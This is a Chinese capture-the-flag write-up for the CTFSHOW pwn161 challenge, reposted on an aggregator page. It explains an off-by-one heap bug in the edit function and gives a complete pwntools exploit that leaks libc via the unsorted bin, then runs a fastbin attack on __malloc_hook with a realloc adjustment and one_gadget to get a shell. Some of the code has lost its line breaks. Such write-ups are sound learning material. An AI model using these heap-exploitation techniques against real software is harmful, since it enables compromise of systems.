当前位置: 首页 > news >正文

CTFSHOW pwn161 WP

checksec:

保护全开 64位 IDA64打开:

逐个查看函数

add:

使用calloc进行申请堆,并且堆大小限制在0x1000以内 用了两个全局变量分别存储是否使用(inuse)和大小(size) qword_202048是位于bss段上的堆指针

edit:

E3A函数:

对修改大小进行了判断,如果修改大小和堆大小相差10 就允许多输入1字节,也就是存在off-by-one漏洞

del:

正常的free并且清零了堆

show:正常

所以思路是先泄露libc,利用unsorted bin泄露 再用malloc hook和one gadget打

通过off-by-one修改chunk的size位为能包含下一个chunk,然后free掉修改的堆再申请原大小,这样就能利用show打印出来堆地址了

泄露出libc后就是使用malloc_hook了,但是这题one_gadget的条件不能直接满足,所以要用realloc_hook调整栈帧

exp:

from pwn import *p = process('./pwn161')
context.log_level = 'debug'def add(size):p.sendlineafter(b"Choice: ", b'1')p.sendlineafter(b'size: ', str(size))#p.sendlineafter(b'message:\n' , message)def delete(index):p.sendlineafter(b"Choice: ", b'3')p.sendlineafter(b'index: ' , str(index))def edit(index,size, message):p.sendlineafter(b"Choice: ", b'2')p.sendlineafter(b'index: ' , str(index))p.sendlineafter(b'size: ' , str(size))p.sendlineafter(b'content: ' , message)def show(index):p.sendlineafter(b"Choice: ", b'4')p.sendlineafter(b'index: ' , str(index))elf = ELF('./pwn161')
libc = ELF('./libc-2.23-64.so')gdb.attach(p)add(0x68) #chunk0
add(0x68) #chunk1
add(0x68) #chunk2
add(0x68) #chunk3
payload = b'a' * (0x68) + p8(0xe1)  #0x68 + 0x68 + 0x10 + 0x1
edit(0, 0x68 + 10, payload)
delete(1)
add(0x68)
show(2)
p.recvuntil(b': ')
leak = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak))
#pause()
libc_base = leak - 0x3c4b78
malloc = libc_base + libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
one_gadget = libc_base + 0x4526a
print(hex(malloc))
#pause()add(0x68) #chunk4
pause()
edit(0, 0x68 + 10, payload) 
#pause()
delete(1)
add(0xd0) #refresh chunk1 sizepayload = b'a' * (0x68) + p64(0x71)
pause()
edit(1, len(payload), payload) #calloc会清空申请大小里的内容 恢复chunk2的size
pause()
delete(2)  edit(4, 0x8, p64(malloc - 0x23)) #fake_chunkadd(0x68) #chunk2
add(0x68) #chunk5 --fastbin attack 现在该位置为malloc-0x23payload = b'a' * (0x13 - 8) + p64(one_gadget) + p64(realloc)     #realloc->one_gadget,malloc_hook->realloc_hook
edit(5, len(payload), payload)
add(0x68)
p.interactive()

http://www.xdnf.cn/news/1116505.html

相关文章:

  • 整流电路Multisim电路仿真实验汇总——硬件工程师笔记
  • 使用macvlan实现容器的跨主机通信
  • KL散度:信息差异的量化标尺 | 从概率分布对齐到模型优化的核心度量
  • C++高频知识点(十一)
  • ALB、NLB、CLB 负载均衡深度剖析
  • 开源工具DeepFilterNet:实时语音降噪
  • 更换docker工作目录
  • 06.计算两个日期之间的差值
  • lambdastream深入剖析
  • 【LeetCode100】--- 4.移动零【复习回顾】
  • mmap映射文件
  • 理解 Robots 协议:爬虫该遵守的“游戏规则”
  • HTML 标题标签
  • AI驱动的软件工程(上):人机协同的设计与建模
  • Python 学习之路(十)--常见算法实现原理及解析
  • 深度学习-循环神经网络RNN
  • 谷歌推出Vertex AI Memory Bank:为AI智能体带来持久记忆,支持连续对话
  • MongoDB性能优化实战指南:原理、实践与案例
  • RedisJSON 技术揭秘(五)`JSON.ARRPOP` 原子弹出 修改数组的终极手段
  • Java设计模式之行为型模式(命令模式)介绍与说明
  • 串口A和S的含义以及RT的含义
  • 深入理解观察者模式:构建松耦合的交互系统
  • 设计模式深度解析:单例、工厂、适配器与代理模式
  • Word中的批注显示与修订显示
  • STM32 | HC-SR04 超声波传感器测距
  • 洛谷 P13014:[GESP202506 五级] 最大公因数
  • CentOS系统下前后端项目部署攻略
  • 【MLLM】多模态理解GLM-4.1V-Thinking模型
  • 深度学习图像分类数据集—水质量识别分类
  • java.net.InetAddress